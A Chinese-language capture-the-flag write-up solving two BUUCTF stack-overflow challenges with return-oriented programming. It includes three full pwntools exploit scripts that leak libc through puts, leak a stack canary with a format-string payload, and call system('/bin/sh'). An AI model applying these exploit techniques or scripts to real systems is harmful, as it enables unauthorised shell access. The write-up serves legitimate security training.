这两个rop其实是差不多的,第二个比第一个多了一个canary
先看一下第一个
没有system和binsh ,要泄露libc,但是现在没有可以控制的输出手段,,所以要通过read,,覆盖返回地址为puts,,构造参数让puts输出libc的函数
这是网上别人的做法,,首先到pop rdi ret ,把libc_start_main的got pop进rdi,,之后返回地址覆盖为puts_plt,输出之后返回main的地址(我写的start也行)
不过我在做的时候傻傻的没想到那么做,我想的是覆盖返回地址为main函数中的某一个代码地址,然后利用init里面的puts来输出
这是init的汇编代码,看到最后一句,,他写的并不是leave!!!而是pop rbp
我们知道leave是 mov rsp,rbp pop rbp ,但是在init里面只入栈了一个参数,所以不需要第一句 mov rsp,rbp
那我们把返回的地址覆盖为init里面某个地址的话,不需要考虑精心设置返回地址上面的rbp是什么,因为init结束时没有把rbp赋值给rsp。
然后返回main也没有异常,进入vul函数之后就有了重新的esp和ebp。总之,如果init函数的结尾时leave,那就无法这么利用了。
那我们就可以把这个返回地址覆盖为 0x400675 ,也就是init函数里面的第二个puts ,之后程序正常进行就可以了。
再次进行到vul函数的结尾的时候,还是利用rop去跳转到system就行了
这是第一种做法,就是很正规:
#coding:utf-8
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
sh = remote("node3.buuoj.cn","27931")
#sh = process("./bjdctf_2020_babyrop")
libc_s_got = 0x601028
puts_addr_in_init = 0x400675
pop_rdi_ret = 0x400733
main_14 = 0x4006bb
puts_plt = 0x4004e0
main_addr = 0x4006ad
start_addr = 0x400530
x = 'A'*40 + p64(pop_rdi_ret) + p64(libc_s_got) + p64(puts_plt) + p64(start_addr)
sh.sendafter('Pull up your sword and tell me u story!\n',x)
libc_s_addr = u64(sh.recvline()[:-1].ljust(8,'\x00'))
print(hex(libc_s_addr))
system_addr = libc_s_addr + 0x24c50
bin_sh = libc_s_addr + 0x16c617
x = 'A'*40 + p64(pop_rdi_ret) + p64(bin_sh) + p64(system_addr)
sh.sendafter('Pull up your sword and tell me u story!\n',x)
sh.interactive()
这是第二种做法,init函数结尾是leave就不能用:
#coding:utf-8
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
sh = remote("node3.buuoj.cn","27931")
#sh = process("./bjdctf_2020_babyrop")
libc_s_got = 0x601028
puts_addr_in_init = 0x400675
pop_rdi_ret = 0x400733
main_14 = 0x4006bb
x = 'A'*40 + p64(pop_rdi_ret) + p64(libc_s_got) + p64(puts_addr_in_init) + p64(0xdeadbeef) + p64(main_14)
sh.sendafter('Pull up your sword and tell me u story!\n',x)
libc_s_addr = u64(sh.recvline()[:-1].ljust(8,'\x00'))
print(hex(libc_s_addr))
system_addr = libc_s_addr + 0x24c50
bin_sh = libc_s_addr + 0x16c617
x = 'A'*40 + p64(pop_rdi_ret) + p64(bin_sh) + p64(system_addr)
sh.sendafter('Pull up your sword and tell me u story!\n',x)
sh.interactive()
这回多了一个gift
明显是格式化字符串,,因为这道题多了个canary机制,所以要把canary值泄露出来
方法还是和上一道一样的,,两次溢出,,第一次返回到puts函数泄露libc,,第二次返回到system
只不过多了一个步骤,要用格式化字符串把canary泄露,,然后覆盖的时候把canary恢复
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
#sh = process('./bjdctf_2020_babyrop2')
sh = remote("node3.buuoj.cn","29658")
pop_rdi_ret = 0x400993
libc_start_main_got = 0x601038
puts_got = 0x601018
puts_plt = 0x400610
main_addr = 0x4008da
sh.sendafter("I'll give u some gift to help u!\n",'%7$p\n')
canary = int(sh.recvline()[2:-1],16)
print(hex(canary))
x = 'A' * 24 + p64(canary) + p64(0xdeadbeef) + p64(pop_rdi_ret) + p64(libc_start_main_got) + p64(puts_plt) + p64(main_addr)
sh.sendafter("Pull up your sword and tell me u story!\n",x)
libc_start_main_addr = u64(sh.recvline()[:-1].ljust(8,'\x00'))
print(hex(libc_start_main_addr))
system_addr = libc_start_main_addr + 0x24c50
bin_sh = libc_start_main_addr + 0x16c617
sh.sendafter("I'll give u some gift to help u!\n",'dnmd\n')
x = 'A' * 24 + p64(canary) + p64(0xdeadbeef) + p64(pop_rdi_ret) + p64(bin_sh) +p64(system_addr)
sh.sendafter("Pull up your sword and tell me u story!\n",x)
sh.interactive()